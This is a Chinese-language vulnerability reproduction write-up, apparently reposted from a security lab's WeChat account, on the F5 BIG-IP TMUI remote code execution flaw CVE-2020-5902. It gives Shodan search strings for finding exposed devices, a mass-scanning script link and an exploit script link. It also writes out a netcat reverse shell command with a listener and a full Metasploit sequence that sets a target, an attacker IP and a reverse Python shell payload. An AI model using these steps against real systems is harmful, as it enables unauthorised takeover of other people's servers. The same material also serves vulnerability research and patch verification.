本文作者:Taoing(Ms08067实验室 SRSP TEAM小组成员)
0x0:漏洞概述
F5 BIG‐IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE‐2020‐5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。
0x1:影响版本范围
F5 BIG‐IP < 15.1.0.4
F5 BIG‐IP < 14.1.2.6
F5 BIG‐IP < 13.1.3.4
F5 BIG‐IP < 12.1.5.2
F5 BIG‐IP < 11.6.5.2
0x2设备检索:
shodan
http.favicon.hash:‐335242539 2、http.title:"BIG‐IP® ;‐ Redirect"
0x3shodan批量脚本:
https://github.com/aqhmal/CVE‐2020‐5902‐Scanner
1.下载脚本后安装库文件, pip3 install ‐r requirements.txt
2.打开脚本文件scanner.py,加入自己shodan key
3.开干 python3 scan.py
0x4漏洞复现:
https://github.com/jas502n/CVE‐2020‐5902
更改CVE‐2020‐5902.py 里的url,然后直接运行 python CVE‐2020‐5902.py。这里我使用的是python2 运行
反弹shell:nc ‐e /bin/bash ip port
监听:nc ‐lvvp port
Msf坑之多:
1.开始我使用wget最后各种问题。直接浏览器下载。拖进msf
https://github.com/rapid7/metasploit‐framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
2.解决方法:
下载后拖进去
﴾/usr/share/metasploit‐framework/modules/exploits/linux/http/﴿
打开msf依次执行
msfconsole reload_all search f5_bigip
use exploit/linux/http/f5_bigip_tmui_rce
set rhost 1.2.3.4
set lhost 129.204.113.202
set lport 5567
set payload cmd/unix/reverse_python
run
0x5:总结:
坑点:msf最好在云上,虚拟机啥的弹不了
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!